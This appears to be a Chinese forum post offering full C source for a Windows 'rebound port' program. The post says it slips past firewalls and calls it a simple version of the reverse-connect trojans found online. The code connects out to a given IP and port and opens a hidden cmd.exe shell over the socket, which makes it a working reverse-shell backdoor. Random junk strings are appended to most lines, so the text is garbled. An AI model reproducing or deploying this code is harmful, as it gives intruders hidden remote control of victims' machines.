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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3p0v  
>'*%wf[{  
/* ============================== 6 c_#"4  
Rebound port in Windows NT _K^Q]V[nZ  
By wind,2006/7 qoO`)<  
===============================*/ s1:Wrz?4  
#include u 272)@R  
#include Bf ut mI  
oac)na:O#  
#pragma comment(lib,"wsock32.lib") *N">93:  
=;rLv7(a  
void OutputShell(); YM}a>o  
SOCKET sClient; F]ao Ty  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h?mDtMCw2  
:o s8"  
void main(int argc,char **argv) \P<aK$g  
{ 5Gz!Bf@!!  
WSADATA stWsaData; 2S?7j[@%i`  
int nRet; ;c!> =  
SOCKADDR_IN stSaiClient,stSaiServer; =;Gq:mHi  
0*gvHVd/l  
if(argc != 3) r9[S%Def  
{ |P >"a`  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'f5 8Jwql  
return; !eW1d0n'+f  
} u8Ys2KLpL  
2n<Mu Q]  
WSAStartup(MAKEWORD(2,2),&stWsaData); Qs&;MW4q  
5\Q Tm;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p*;!5;OUR  
${f<}  
stSaiClient.sin_family = AF_INET; d^C@5Pd <  
stSaiClient.sin_port = htons(0); [wGj?M}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %K6veB{M  
c1#0o) q*7  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }`uyOgGg*  
{ Q5,zs_j  
printf("Bind Socket Failed!\n"); 3\7MeG`tl  
return; yHeL&H  
} J p'^!  
{L-^J`> G  
stSaiServer.sin_family = AF_INET; EXDDUqZ5\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L&pR#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ku(YTXtK  
1d5%(:@  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zI`I Q  
{ [:8\F#KW  
printf("Connect Error!"); 19E(Hsz  
return; d_9 C m@  
} 2bt>t[0ad  
OutputShell(); F Z"n6hWA  
} l_g$6\&|  
q$:1Xkl  
void OutputShell() :u>RyKu|&R  
{ 6/UOz V,[  
char szBuff[1024]; PLCm\Oh$l  
SECURITY_ATTRIBUTES stSecurityAttributes; GA^hev  
OSVERSIONINFO stOsversionInfo; +kL7"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aI=p_+.h  
STARTUPINFO stStartupInfo; 'S`l[L:.8  
char *szShell; uNyU]@R<W  
PROCESS_INFORMATION stProcessInformation; ^ZwZze:2  
unsigned long lBytesRead; I\l&'Q^0@  
)|~K&qn`  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x~e._k=  
Y2`sL,'h  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I dK*IA4  
stSecurityAttributes.lpSecurityDescriptor = 0; \Zj%eW!m  
stSecurityAttributes.bInheritHandle = TRUE; 7^gO>2~  
jPWONz(#  
&*`dRIQ]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IWv 9!lW  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pN9!  
[\8rh^LFi  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VGS%U8;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L!}!k N:?  
stStartupInfo.wShowWindow = SW_HIDE; `<7\Zl  
stStartupInfo.hStdInput = hReadPipe; $$9H1)Ny  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [JOa^U=  
8E%LhA.  
GetVersionEx(&stOsversionInfo); #(^<qr   
&jDN6n3z  
switch(stOsversionInfo.dwPlatformId) zL"e.  
{ lc,k-}n  
case 1: m?e/MQr  
szShell = "command.com"; ~74Sq'j9Wt  
break; x@NfN*?/+i  
default: .p[uIRd`  
szShell = "cmd.exe"; Kb;*"@LX  
break; f_c\uN@f  
} o,7|=.-b  
&~:EmLgv  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); de:@/-|  
f"Sp.'@  
send(sClient,szMsg,77,0); KuR]X``2  
while(1) Y@FYo>0O  
{ \BHZRytQF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,r B(WKU  
if(lBytesRead) [ V.67_~  
{ OyO<A3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /~,*DH$)  
send(sClient,szBuff,lBytesRead,0); }B0[S_mw  
} <"3q5ic/Z  
else [jgVN w""D  
{ 72nZ`u  
lBytesRead=recv(sClient,szBuff,1024,0); ChiIQWFE  
if(lBytesRead<=0) break; a%%7Ew ?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); EyK!'9~a  
} M5I`i{Gw  
} g QBS#NY  
T+Yv5l  
return; x^lc T  
}
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